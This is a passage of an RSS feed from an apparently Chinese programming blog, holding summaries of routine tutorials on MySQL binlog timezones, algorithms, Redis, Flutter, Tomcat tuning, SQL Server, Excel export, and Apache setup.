      <description>通过Streamsets采集mysql binglog增量数据时候，出现数据库中datetime时区问题。&#xA;要注意一点是，streamsets的前端展示的时间也是有时区的，后端返回的数据是时间戳，等于做了两次时区的转换&#xA;后端binglog时区转换-&amp;gt;时间戳-&amp;gt;前端时区转换（默认是CST时区），这部门的时区问题涉及到前端的修改，暂时不做，仅修改后端返回的时间戳时区问题&#xA;通过返回的接口查看，差了12个小时&#xA;通过查看streamsets源码可知，binglog用的采集为：mysql-binlog-connector-java GitHub - osheroff/mysql-binlog-connector-java: MySQL Binary Log connector&#xA;当前用的streamsets为3.23.0，对于版本为mysql-binlog-connector-java 0.23.4&#xA;查找相关的github issue，发现有人遇到了相同的问题&#xA;https://github.com/osheroff/mysql-binlog-connector-java/issues/13&#xA;其相关修改的代码为：https://github.com/shyiko/mysql-binlog-connector-java/pull/292/commits/5b29c33e0c8643ff3a7b6d315689ccead28b3782&#xA;按照其相关commit修改源代码在&#xA;AbstractRowsEventDataDeserializer类下 添加方法&#xA;private long convertLocalTimestamp(long millis) { TimeZone tz = TimeZone.getDefault(); Calendar c = Calendar.getInstance(tz); long localMillis = millis; int offset, time; c.set(1970, Calendar.JANUARY, 1, 0, 0, 0); // Add milliseconds while (localMillis &amp;gt; Integer.MAX_VALUE) { c.add(Calendar.MILLISECOND, Integer.MAX_VALUE); localMillis -= Integer.MAX_VALUE; } c.add(Calendar.MILLISECOND, (int)localMillis); // Stupidly, the Calendar will give us the wrong result if we use getTime() directly.</description>
    </item>
    <item>
      <title>【优选算法】—— 双指针问题</title>
      <link>https://bchobby.github.io/posts/40f4ad85d73ce8eaaa8aaace1ab7071c/</link>
      <pubDate>Tue, 11 Jul 2023 16:02:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/40f4ad85d73ce8eaaa8aaace1ab7071c/</guid>
      <description>从今天开始，整个暑假期间。我将不定期给大家带来有关各种算法的题目，帮助大家攻克面试过程中可能会遇到的算法这一道难关。&#xA;目录&#xA;（一） 基本概念&#xA;（二）题目讲解&#xA;1、难度：easy&#xA;1️⃣移动零&#xA;2️⃣复写零&#xA;2、难度：medium&#xA;1️⃣快乐数&#xA;2️⃣盛⽔最多的容器&#xA;3、难度：difficult&#xA;2️⃣最大得分&#xA;总结&#xA;（一） 基本概念 双指针算法是一种常用的算法技巧，它通常用于在数组或字符串中进行快速查找、匹配、排序或移动操作。双指针算法使用两个指针在数据结构上进行迭代，并根据问题的要求移动这些指针。&#xA;常⻅的双指针有两种形式：&#xA;⼀种是对撞指针；⼀种是左右指针。&#xA;对撞指针：⼀般⽤于顺序结构中，也称左右指针。&#xA;• 对撞指针从两端向中间移动。⼀个指针从最左端开始，另⼀个从最右端开始，然后逐渐往中间逼近。&#xA;• 对撞指针的终⽌条件⼀般是两个指针相遇或者错开（也可能在循环内部找到结果直接跳出循环），也就是：&#xA;◦ left == right （两个指针指向同⼀个位置）&#xA;◦ left &amp;gt; right （两个指针错开）&#xA;快慢指针：⼜称为⻳兔赛跑算法，其基本思想就是使⽤两个移动速度不同的指针在数组或链表等序列结构上移动。&#xA;这种⽅法对于处理环形链表或数组⾮常有⽤。&#xA;其实不单单是环形链表或者是数组，如果我们要研究的问题出现循环往复的情况时，均可考虑使⽤快慢指针的思想。&#xA;快慢指针的实现⽅式有很多种，最常⽤的⼀种就是：&#xA;• 在⼀次循环中，每次让慢的指针向后移动⼀位，⽽快的指针往后移动两位，实现⼀快⼀慢&#xA;【优势】 双指针算法的优势在于它们能够在一次迭代中完成操作，时间复杂度通常比较低，并且不需要额外的空间；通过合理地移动指针，可以有效地减少不必要的计算和比较，提高算法的效率。 在具体应用双指针算法时，需要根据问题的特点和要求选择合适的指针移动策略，确保算法的正确性和高效性。同时，注意处理边界条件和特殊情况，以避免错误和异常。&#xA;（二）题目讲解 接下来，我们通过几道题目让大家具体的感受一下。（题目由易到难）&#xA;1、难度：easy 1️⃣移动零 链接如下：283. 移动零&#xA;【题⽬描述】&#xA;【解法】（快排的思想：数组划分区间-数组分两块）&#xA;算法思路：&#xA;在本题中，我们可以⽤⼀个 cur 指针来扫描整个数组，另⼀个 dest 指针⽤来记录⾮零数序列的最后⼀个位置。根据 cur 在扫描的过程中，遇到的不同情况，分类处理，实现数组的划分。在 cur 遍历期间，使 [0, dest] 的元素全部都是⾮零元素， [dest + 1, cur - 1] 的元素全是零 【算法流程】</description>
    </item>
    <item>
      <title>基于Redis实现延时任务</title>
      <link>https://bchobby.github.io/posts/cbe410dd1dd8fb6f3a070fd2081ef708/</link>
      <pubDate>Tue, 11 Jul 2023 15:47:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cbe410dd1dd8fb6f3a070fd2081ef708/</guid>
      <description>延时任务 1.实现技术栈 RedisMQ 我们选用Redis&#xA;2.创建表 表1 任务日志表表2 任务表 CREATE TABLE `taskinfo_logs` ( `task_id` bigint(20) NOT NULL COMMENT &#39;任务id&#39;, `execute_time` datetime(3) NOT NULL COMMENT &#39;执行时间&#39;, `parameters` longblob NULL COMMENT &#39;参数&#39;, `priority` int(11) NOT NULL COMMENT &#39;优先级&#39;, `task_type` int(11) NOT NULL COMMENT &#39;任务类型&#39;, `version` int(11) NOT NULL COMMENT &#39;版本号,用乐观锁&#39;, `status` int(11) NULL DEFAULT 0 COMMENT &#39;状态 0=初始化状态 1=EXECUTED 2=CANCELLED&#39;, PRIMARY KEY (`task_id`) USING BTREE ) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic; CREATE TABLE `taskinfo` ( `task_id` bigint(20) NOT NULL COMMENT &#39;任务id&#39;, `execute_time` datetime(3) NOT NULL COMMENT &#39;执行时间&#39;, `parameters` longblob NULL COMMENT &#39;参数&#39;, `priority` int(11) NOT NULL COMMENT &#39;优先级&#39;, `task_type` int(11) NOT NULL COMMENT &#39;任务类型&#39;, PRIMARY KEY (`task_id`) USING BTREE, INDEX `index_taskinfo_time`(`task_type`, `priority`, `execute_time`) USING BTREE ) ENGINE = InnoDB CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Dynamic; 3.</description>
    </item>
    <item>
      <title>Flutter：架构概览</title>
      <link>https://bchobby.github.io/posts/1ede7242e71607d6562d289538a167a4/</link>
      <pubDate>Tue, 11 Jul 2023 15:01:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ede7242e71607d6562d289538a167a4/</guid>
      <description>概览 Flutter本质上是一个跨平台的UI工具集，允许在各自操作系统上复用同样的代码。&#xA;尽可能提供原生体验的高性能和复用代码。&#xA;开发中，Flutter应用在一个VM上运行，使得可在保留状态且无需重新编译情况下，进行热加载。&#xA;发行时，Flutter应用会直接通过AOT编译为机器码或者是JS。&#xA;分层模型 Flutter是一个可拓展的分层系统，可被视为各个独立组件的集合，上层组件依赖下层，上层无法越界访问更下层的组件，框架内各部分是可选可替代的。&#xA;分为框架、引擎、嵌入层&#xA;嵌入层 对于底层操作系统，Flutter应用程序的包装方式与其他原生应用相同，每个平台都会包含一个特定的嵌入层，提供一个程序入口，使得程序可以与底层操作系统进行协调、访问服务和管理事件循环队列。&#xA;对于不同平台，嵌入层使用的语言都不一样。Flutter代码可以作为模块集成到现有应用或作为应用主体。&#xA;引擎 主要使用C++编写，提供Flutter应用所需原语。&#xA;当需要绘制新一帧内容时，引擎将负责对需要合成的场景进行栅格化。&#xA;其提供Flutter核心API的底层实现：图形、文本布局等…&#xA;引擎将底层C++代码包装成Dart代码，通过dart:ui暴露给Flutter框架层。该库暴露了最底层的原语，包括用于驱动输入，图形等子系统的类&#xA;框架 开发者通过Flutter框架和Flutter交互，该框架提供了以Dart语言编写的现代响应式框架。&#xA;自下而上有：&#xA;Foundational and Annimation、Painting、Gestures Foundational：基础类&#xA;Annimation：动画&#xA;Painting：绘画&#xA;Gestures：手势&#xA;向上层提供常用的抽象&#xA;渲染层 提供操作布局的抽象，操作层使得可以构建一颗可渲染对象的树，可动态更新。&#xA;Widget 组合的抽象，每个渲染层中的渲染对象在widget层中有一个对应的类。&#xA;widget层可让你自由组合需要复用的各种类，引入了响应式编程模型。&#xA;Material和Cupertino 提供了全面的widget层的原语组合，分别实现了Material和IOS设计规范。&#xA;其他更高层级的功能被拆分到不同的软件包中。&#xA;应用剖析 Dart应用：将Widget合成预期的UI，实现业务。框架：提供API封装，将应用widget树构建在一个Scene中。引擎：将合成的Scene进行栅格化、封装Flutter进行封装，暴露功能给dart:ui API给框架、使用嵌入层API与平台进行整合。嵌入层：协调底层操作系统的服务、管理事件循环体系、暴露特定平台API给应用集成嵌入层。运行器：将嵌入层暴露的平台API合成为目标平台可运行的应用包。 响应式用户界面 Flutter是一个响应式的且伪声明式的UI框架，&#xA;随widget构造方法引入的新输入会随着其build方法传播给更低等级的widget；&#xA;而底层的widget中出现的修改也会沿着结构树通过event handler向上传播。&#xA;函数-响应式、指令-响应式都有出现，&#xA;前者是指widget的build方法中只包含其针对变化如何响应的表达式，&#xA;后者则包含一系列构造子元素的表达式，用于描述该widget如何响应变化。&#xA;Flutter，widget用来配置对象树的不可变类，这些widget管理单独的布局对象树，接着参与管理合成的布局对象树。&#xA;Flutter核心是一套高效的遍历树的变动的机制，将对象树转换为更底层的对象树，在树间传递更改。&#xA;build将状态转换为UI，在框架需要都可以被调用，可快速执行且没有额外影响，依赖DART的运行时特征：对象的快速实例化和清除。&#xA;Widgets Flutter强调以widgets为组成单位。widgets是构建flutter应用界面的基础块，每个widget都是一部分不可变的UI声明。&#xA;widget通过布局组合形成一种层次结构关系，每个widget都嵌套在其父级的内部，可以通过父级接收上下文。从根布局（MaterialApp或CupertinoApp）开始，自上而下。&#xA;应用根据事件交互，通知框架替换层级中的旧widget为新的widget，比较新旧widget，高效更新。&#xA;Flutter拥有自己的UI控制实现，不使用系统自带。&#xA;这样提供了无限拓展性，不受系统提供的拓展限制。&#xA;Flutter可直接合成所有的场景，避免与原生平台来回切换，避免了性能瓶颈。&#xA;将应用的行为与操作系统的依赖解耦，实现不同平台，体验一致。&#xA;组成 widget通常由更小的且用途单一的widget组合而成，提供更强大的功能。&#xA;Flutter 在widget层中使用了widget来表示屏幕上的绘制、布局等&#xA;Flutter 在动画层，Animation和Tween涵盖了大部分的设计空间&#xA;Flutter 在渲染层，RenderObject用来描述布局、绘制、触摸判断等&#xA;Widget思想是 浅而广，最大限度地增加可能的组合数量，每个widget完成一件事，将核心功能抽象，如边距等基础功能，被实现为单独的组件&#xA;构建widget build方法会返回一个新的元素树，这棵树更具体地表示了widget在ui中的部分。</description>
    </item>
    <item>
      <title>SpringBoot内置tomcat参数调优</title>
      <link>https://bchobby.github.io/posts/c2c0a11a4e2e9b69e122e0d90b2de6e4/</link>
      <pubDate>Tue, 11 Jul 2023 14:57:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c2c0a11a4e2e9b69e122e0d90b2de6e4/</guid>
      <description>1. 默认配置 可通过org.springframework.boot.autoconfigure.web.ServerProperties查看，其中包括属性tomcat、jetty、undertow三种服务器的设置，默认启用tomcat。&#xA;# tomcat 8 server: tomcat: max-connections: 10000 #最大连接数，默认为10000 accept-count: 100 # 最大连接等待数，默认100 max-threads: 200 #最大工作线程数，默认200 min-spare-threads: 10 #最小工作线程数，默认10 # tomcat 9 server: tomcat: max-connections: 8192 accept-count: 100 threads: max: 200 min-spare: 10 详解：maxConnections、maxThreads、acceptCount 每一次HTTP请求到达Web服务器，Web服务器都会创建一个线程来处理该请求&#xA;min-spare-threads： 最小备用线程数，tomcat启动时的初始化的线程数，默认10。（适当增大一些，以便应对突然增长的访问量） max-threads： Tomcat可创建的最大工作线程数，默认200, 每一个线程处理一个请求，超过这个请求数后，客户端请求只能排队，等有线程释放才能处理。（4核8g内存，线程数800，一般是 核数*200 。操作系统做线程之间的切换调度是有系统开销的，所以不是越多越好。） accept-count： 当调用Web服务的HTTP请求数达到tomcat的最大线程数时，还有新的HTTP请求到来，这时tomcat会将该请求放在等待队列中，这个acceptCount就是指能够接受的最大等待数，默认100。 如果等待队列也被放满了，这个时候再来新的请求就会被tomcat拒绝（connection refused），队列也做缓冲池用，但也不能无限长，不但消耗内存，而且出队入队也消耗CPU。 max-connections： 这个参数是指在同一时间，tomcat能够接受的最大连接数。一般这个值要大于(max-threads)+(accept-count)。 tomcat的最大线程数,最大排队数多少合适 1、Tomcat默认的HTTP实现是采用阻塞式的Socket通信，每个请求都需要创建一个线程处理，当一个进程有500个线程在跑的话，那性能已经是很低很低了。Tomcat 默认配置的最大请求数是150，也就是说同时支持150个并发。 2、SpringBoot内置Tomcat，在默认设置中，Tomcat的最大线程数是 200，最大连接数是 10000。支持的并发量是指连接数。Tomcat有两种处理连接的模式，一种是 BIO，一个线程只处理一个连接，另一种就是 NIO，一个线程处理多个连接。 3、启动tomcat。进入apache-tomcat-0.0.M3下的bin目录，双击startup.bat 在浏览器中的输入10.1：8080，回车。查看tomcat是否启动成功。看到熟悉的小猫，启动成功了！查看tomcat服务器的最大连接数。 4、在tomcat配置文件server.xml中的Connector /配置中，和连接数相关的参数有：maxThreads=150 表示最多同时处理150个连接，Tomcat使用线程来处理接收的每个请求。这个值表示Tomcat可创建的最大的线程数。默认值200。 5、maxSpareThreads：最大空闲线程数，如果超过这个值，会关闭无用的线程。acceptCount：当处理请求超过此值时，将后来请求放到队列中等待。 6、 最大线程数设置多少合适和tomcat的运行环境有关的，比如硬件，内存等等，适当可以给tomcat的运行最大分配的内存加大点。另外，用一些工具： 比较ab， loadrunner做做压力测试。 2. Tomcat经验值 max-threads线程数的经验值为：</description>
    </item>
    <item>
      <title>sqlserver链接字符串</title>
      <link>https://bchobby.github.io/posts/668bc2b86e2ee36bc0b203c1bdf240cc/</link>
      <pubDate>Tue, 11 Jul 2023 14:54:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/668bc2b86e2ee36bc0b203c1bdf240cc/</guid>
      <description>1 我是直接使用&#xA;string sqlConToWindows = “server=服务名;database=数据库名;Trusted_Connection=SSPI”; 这里只需要把服务名和数据库名更换成你自己的就行。&#xA;这就是数据库名称了&#xA;2 Data Source=数据库地址;Initial Catalog=数据库名称;User Id=数据库登录名;Password=数据库密码;[Integrated Security=SSPI | true]; Integrated Security参数&#xA;表示采用数据库的windows身份验证模式,当Integrated Security=true是，设置签名的user id和password参数不起作用。&#xA;Integrated Security=SSPI相当于Integrated Security=true，该参数可省略。&#xA;3 Server=数据库地址;Database=数据库名称;User ID=数据库登录名;Password=数据库密码;[Trusted_Connection=False | true]; Trusted_Connection参数 当值为true时表示采用数据库的windows身份验证模式，值为false或省略时表示需要用户名密码登录。</description>
    </item>
    <item>
      <title>c# 实现试卷管理系统【含源码】</title>
      <link>https://bchobby.github.io/posts/da3c6284b9a7dd7c4d515d68e1b4bddb/</link>
      <pubDate>Tue, 11 Jul 2023 14:09:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/da3c6284b9a7dd7c4d515d68e1b4bddb/</guid>
      <description>这是一个试题管理的系统，功能不怎么多，但是够用，可以加入试题，还有用户的身份验证登录界面，第一步配置的话一定要链接上自己的数据库，我这里用的是sqlserver&#xA;链接数据库 -- 创建数据库 CREATE DATABASE EXAM_SYSTEM ON PRIMARY (NAME = &#39;EXAM_SYSTEM&#39;, FILENAME = &#39;Z:\DATA\EXAM_SYSTEM.MDF&#39; , SIZE = 5MB, MAXSIZE = 20MB, FILEGROWTH = 20%) LOG ON (NAME =&#39;EXAM_SYSTEM_LOG&#39;, FILENAME = &#39;Z:\DATA\EXAM_SYSTEM_LOG. LDF&#39;, SIZE = 5MB, MAXSIZE = 10MB, FILEGROWTH = 2MB) USE EXAM_SYSTEM; -- 试题表：question DROP table question CREATE TABLE question ( id INT NOT NULL PRIMARY KEY, content VARCHAR(500) NOT NULL, option_a VARCHAR(200) NOT NULL, option_b VARCHAR(200) NOT NULL, option_c VARCHAR(200) NOT NULL, option_d VARCHAR(200) NOT NULL, answer VARCHAR(200) NOT NULL, score INT NOT NULL ); INSERT INTO question(id,content,option_a,option_b,option_c,option_d,answer,score) VALUES(&#39;4&#39;,&#39;云边有个小卖部，作者是谁：&#39;,&#39;杜甫&#39;,&#39;李白&#39;,&#39;额嗡嗡&#39;,&#39;张嘉佳&#39;,&#39;张嘉佳&#39;,&#39;2&#39;); --填充试题表 INSERT INTO question VALUES (1, &#39;1+1=？&#39;, &#39;2&#39;, &#39;1&#39;, &#39;0&#39;, &#39;0&#39;, &#39;2&#39;, 2); INSERT INTO question VALUES (2, &#39;2+2=？&#39;, &#39;3&#39;, &#39;4&#39;, &#39;5&#39;, &#39;2&#39;, &#39;4&#39;, 2); INSERT INTO question VALUES (3, &#39;今天是星期几？&#39;, &#39;星期一&#39;, &#39;星期二&#39;, &#39;星期三&#39;, &#39;星期四&#39;, &#39;星期一&#39;, 1); -- 试卷表：paper CREATE table paper ( id INT NOT NULL PRIMARY KEY, title VARCHAR(100) NOT NULL, subject VARCHAR(50) NOT NULL, author VARCHAR(20) NOT NULL, created_at DATETIME NOT NULL, status INT NOT NULL ); -- 填充试卷表 INSERT INTO paper VALUES (1, &#39;数学期末考试&#39;, &#39;数学&#39;, &#39;张三&#39;, &#39;2021-12-30 12:00:00&#39;, 1); INSERT INTO paper VALUES (2, &#39;英语期末考试&#39;, &#39;英语&#39;, &#39;李四&#39;, &#39;2021-12-31 13:00:00&#39;, 0); -- 试卷-试题关系表：paper_question CREATE TABLE paper_question ( id INT NOT NULL PRIMARY KEY, paper_id INT NOT NULL, question_id INT NOT NULL, FOREIGN KEY (paper_id) REFERENCES paper(id), FOREIGN KEY (question_id) REFERENCES question(id) ); --填充试卷关系表 INSERT INTO paper_question VALUES (1, 1, 1); INSERT INTO paper_question VALUES (2, 1, 2); INSERT INTO paper_question VALUES (3, 2, 3); -- 用户表：user CREATE TABLE user_info( id INT NOT NULL PRIMARY KEY, username VARCHAR(20) NOT NULL, password VARCHAR(20) NOT NULL, role INT NOT NULL ); -- 用户填充信息 INSERT INTO user_info VALUES (1, &#39;admin&#39;, &#39;admin123&#39;, 0); INSERT INTO user_info VALUES (2, &#39;teacher&#39;, &#39;teacher123&#39;, 1); INSERT INTO user_info VALUES (3, &#39;student1&#39;, &#39;student123&#39;, 2); INSERT INTO user_info VALUES (4, &#39;student2&#39;, &#39;student234&#39;, 2); INSERT INTO user_info VALUES (5, &#39;student3&#39;, &#39;student345&#39;, 2); 用sqlserver如何查看自己的链接字符串？我的方法是这样的：</description>
    </item>
    <item>
      <title>卸载、安装MySQL（windows版）</title>
      <link>https://bchobby.github.io/posts/b89728a9b22e5f001dec0ee50acae3d7/</link>
      <pubDate>Tue, 11 Jul 2023 11:47:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b89728a9b22e5f001dec0ee50acae3d7/</guid>
      <description> 卸载MySQL&#xA;右击【计算机/此电脑】——管理——双击【服务和应用程序】——选择【服务】&#xA;找到MySQL后右击停止&#xA;打开控制面板——卸载程序——卸载MySQL&#xA;下载MySQL&#xA;MySQL地址：MySQL :: Download MySQL Community Server&#xA;下载完成后，解压文件&#xA;我将文件放在C:\mysql-8.0.33-winx64\bin&#xA;打开文件，在该文件下新增一个配置文件：my.ini&#xA;在my配置文件中配置以下基本信息&#xA;键盘输入WIN+R，打开cmd，切换目录&#xA;cd C:\mysql-8.0.33-winx64\bin【ps：这是mysql的安装地址】&#xA;初始化数据库&#xA;mysqld --initialize --console&#xA;红框圈起来的就是初始密码，后续登陆需要用到，也可以在登录后修改密码。&#xA;启动MySQL&#xA;net start mysql&#xA;发现报错：服务没有报告任何错误&#xA;输入netstat -ano&#xA;发现3306的端口被占用了，PID为17004&#xA;使用TASKKILL /PID +PID来结束进程&#xA;ps：如果使用上面指令还无法结束进程，可以使用强行指令TASKKILL /F /PID +PID&#xA;再次输入net start mysql，服务启动成功&#xA;登录MySQL&#xA;输入mysql -u root -p，点击回车，出现Enter password字样后输入初始密码，看到welcome和mysql&amp;gt;闪着光标的样子即登录成功 重置密码&#xA;输入 ALTER USER root@localhost identified by &#39;7476&#39;;&#xA;输入 exit 或 quit 退出登录。&#xA;配置MySQL的环境变量&#xA;【此电脑/计算机】——属性——高级系统设置——环境变量——新建系统变量&#xA;双击path，新增 </description>
    </item>
    <item>
      <title>对element table的增删改查功能封装成mixin</title>
      <link>https://bchobby.github.io/posts/70c939432eeea768d4beab15f79f79e6/</link>
      <pubDate>Tue, 11 Jul 2023 11:44:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70c939432eeea768d4beab15f79f79e6/</guid>
      <description>&amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;el-table :data=&#34;tableData&#34;&amp;gt; &amp;lt;el-table-column prop=&#34;name&#34; label=&#34;姓名&#34;&amp;gt;&amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column prop=&#34;age&#34; label=&#34;年龄&#34;&amp;gt;&amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column label=&#34;操作&#34;&amp;gt; &amp;lt;template slot-scope=&#34;scope&#34;&amp;gt; &amp;lt;el-button size=&#34;mini&#34; @click=&#34;editItem(scope.row)&#34;&amp;gt;编辑&amp;lt;/el-button&amp;gt; &amp;lt;el-button size=&#34;mini&#34; @click=&#34;removeItem(scope.row)&#34;&amp;gt;删除&amp;lt;/el-button&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/el-table-column&amp;gt; &amp;lt;/el-table&amp;gt; &amp;lt;el-dialog :visible=&#34;dialogVisible&#34; title=&#34;编辑&#34; @close=&#34;closeDialog&#34;&amp;gt; &amp;lt;el-form ref=&#34;form&#34; :model=&#34;editForm&#34; label-width=&#34;80px&#34;&amp;gt; &amp;lt;el-form-item label=&#34;姓名&#34; prop=&#34;name&#34;&amp;gt; &amp;lt;el-input v-model=&#34;editForm.name&#34;&amp;gt;&amp;lt;/el-input&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;el-form-item label=&#34;年龄&#34; prop=&#34;age&#34;&amp;gt; &amp;lt;el-input v-model=&#34;editForm.age&#34;&amp;gt;&amp;lt;/el-input&amp;gt; &amp;lt;/el-form-item&amp;gt; &amp;lt;/el-form&amp;gt; &amp;lt;div slot=&#34;footer&#34; class=&#34;dialog-footer&#34;&amp;gt; &amp;lt;el-button @click=&#34;closeDialog&#34;&amp;gt;取消&amp;lt;/el-button&amp;gt; &amp;lt;el-button type=&#34;primary&#34; @click=&#34;saveItem&#34;&amp;gt;保存&amp;lt;/el-button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/el-dialog&amp;gt; &amp;lt;el-button type=&#34;primary&#34; @click=&#34;addItem&#34;&amp;gt;添加&amp;lt;/el-button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import axios from &#39;axios&#39;; export default { data() { return { tableData: [], dialogVisible: false, editForm: {} }; }, created() { this.</description>
    </item>
    <item>
      <title>基于poi的三种excel导出方式</title>
      <link>https://bchobby.github.io/posts/8a099fab134642774505a2d89c491f70/</link>
      <pubDate>Tue, 11 Jul 2023 11:00:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a099fab134642774505a2d89c491f70/</guid>
      <description>文章目录 简介一、直接遍历数据设值导出所需依赖controller代码service代码调用接口测结果 二、通过注解的方式导出所需依赖controller代码service代码模板类AgentTplExcelExport.classExcelHead.classExcelImport.classExcelUtils 工具类： 三、基于模板的方式导出所需依赖TemplateExcelUtils 工具类：excel模板controller代码service代码测试结果 简介 平时我们业务开发经常少不了接触导出功能，可以说有列表查询的地方，基本都会用到导出。本章内容主要介绍平时开发中导出的基本逻辑和一些导出方式，用以记录和总结。&#xA;我们处理导出的逻辑一般都是需要先取出数据，得到一个数据集合，然后将数据遍历指明每个数据需要放到文件的哪个位置，最后再将文件流上传服务器或者返回客户端。一般导出方式的处理细节差异 ，主要就是处理数据映射文件位置这一步骤。这里总结了一些经常用到的导出方式，常见的有用&#xA;1、直接遍历数据设值导出&#xA;2、注解的方式导出，创建一个类，在定义的属性上加上对应的注解，即可完成映射导出&#xA;3、另外一种是预先创建好一个excel模板，在模板文件里面对应的位置加上对应的字符占位，即可完成映射导出。&#xA;一、直接遍历数据设值导出 所需依赖 &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.1.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.poi&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;poi-ooxml&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.1.2&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; controller代码 @RestController @RequestMapping(&#34;/statistics&#34;) public class TestExportExcel { @Resource private TestExportExcelService testExportExcelService; @PostMapping(value = &#34;/export/excel&#34;, produces = MediaType.APPLICATION_JSON_VALUE) public Boolean exportExcel(HttpServletResponse response) { testExportExcelService.testExportExcel(response); return true; } } service代码 import com.cys.share.service.TestExportExcelService; import org.apache.commons.codec.Charsets; import org.apache.poi.ss.usermodel.*; import org.apache.poi.xssf.usermodel.XSSFWorkbook; import org.springframework.http.HttpHeaders; import org.springframework.stereotype.Service; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.</description>
    </item>
    <item>
      <title>在 macOS 上运行 iOS 程序的辅助软件：playcover安装教程</title>
      <link>https://bchobby.github.io/posts/2b202aedc192ac8f8da77158274ce260/</link>
      <pubDate>Tue, 11 Jul 2023 10:46:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2b202aedc192ac8f8da77158274ce260/</guid>
      <description>PlayCover是一套完整的在 macOS 上运行 iOS 程序的辅助软件，PlayCover能够非常方便地在 M1 Mac 上面通过解密的 IPA 来安装 iOS 应用；有着完整的键盘快捷键映射和鼠标操作映射，且支持快捷键映射导出导入。&#xA;为什么要把iPhone软件装到Mac电脑中？&#xA;1、iOS独占软件&#xA;2、Mac版功能精简，iOS版功能更全&#xA;3、玩iOS游戏&#xA;4、iOS软件演示等&#xA;玩原神的朋友可能会更熟悉这款软件，叫做：playcover。&#xA;这个软件只有5M左右，只要把ipa安装包（iOS软件）拖进playcover，就可以直接运行了。对想用Mac电脑玩手游的朋友来说，它最大的作用是支持键盘映射；而在工作中，在电脑端查看或演示一些iOS独占的软件，也有不小的便利。&#xA;如果你和我一样最近才开始常用Mac电脑，不妨把playcover作为一款必装软件。&#xA;playcover for mac安装教程 playcover下载完成后打开，拖动左侧的PlayCover到右侧应用程序中即可。</description>
    </item>
    <item>
      <title>threejs物体加线框</title>
      <link>https://bchobby.github.io/posts/4c5bfd3384c2a74161a02aedddca5ff6/</link>
      <pubDate>Tue, 11 Jul 2023 10:38:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c5bfd3384c2a74161a02aedddca5ff6/</guid>
      <description>let edges = new THREE.EdgesGeometry( tWall.mWallMesh.geometry );&#xA;tWall.m_Outline = new THREE.LineSegments( edges, new THREE.LineBasicMaterial( { color: 0x4b96ff,depthTest:false,transparent:true } ) );&#xA;GlobalApi.scene3D.add( tWall.m_Outline );</description>
    </item>
    <item>
      <title>uniapp运行项目报错less未安装</title>
      <link>https://bchobby.github.io/posts/d3242e2739d215a0f91b827b23be391f/</link>
      <pubDate>Mon, 10 Jul 2023 23:49:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3242e2739d215a0f91b827b23be391f/</guid>
      <description>uniapp运行项目报错less未安装，到插件中心安装后，报错安装失败，npm install失败，此时找到hbuilder存放位置，并找到下面的plugons文件夹，查看less对应的文件夹里否有node module文件夹，若没有，则在less文件夹里执行npm i即可</description>
    </item>
    <item>
      <title>RHCE 笔记 （web服务器http）</title>
      <link>https://bchobby.github.io/posts/bb250e064452449c043ed8d9a5978698/</link>
      <pubDate>Mon, 10 Jul 2023 18:05:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bb250e064452449c043ed8d9a5978698/</guid>
      <description>一、快速安装Apache 1.1安装 [root@server ~]# yum install httpd 1.2预处理 [root@server ~]# setenforce 0 [root@server ~]# systemctl stop firewalld [root@server ~]# systemctl start httpd [root@server ~]# systemctl enable httpd 1.3 分析 内容位置服务目录/etc/httpd配置文件/etc/httpd/conf/httpd.conf网站数据目录/var/www/html访问日志/var/log/httpd/access_log错误日志/var/log/httpd/error_log 1.3.1 主配置文件 [root@server ~]# vim /etc/httpd/conf/httpd.conf 34 ServerRoot &#34;/etc/httpd&#34; ---服务目录 46 #Listen 12.34.56.78:80 ----设置监听的IP地址及端口 47 Listen 80 ----默认开启监听端口为80 61 Include conf.modules.d/*.conf ----加载额外配置文件 71 User apache ----运行服务的用户 72 Group apache ----运行服务的工作组 91 ServerAdmin root@localhost ----管理者的邮箱 100 #ServerName www.example.com:80 ----设置域名及端口号，必须要域名解析 107 &amp;lt;Directory /&amp;gt; #&amp;lt;&amp;gt;表示起始标志 &amp;lt;/&amp;gt;表示结束标志 108 AllowOverride none #不允许覆盖 109 Require all denied #禁止所有来源访问文件或目录 110 &amp;lt;/Directory&amp;gt; 124 DocumentRoot &#34;</description>
    </item>
    <item>
      <title>Microsoft Remote Desktop for mac安装教程</title>
      <link>https://bchobby.github.io/posts/b2e14f0078061d307d6c18f9d6dc0f6a/</link>
      <pubDate>Mon, 10 Jul 2023 17:21:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2e14f0078061d307d6c18f9d6dc0f6a/</guid>
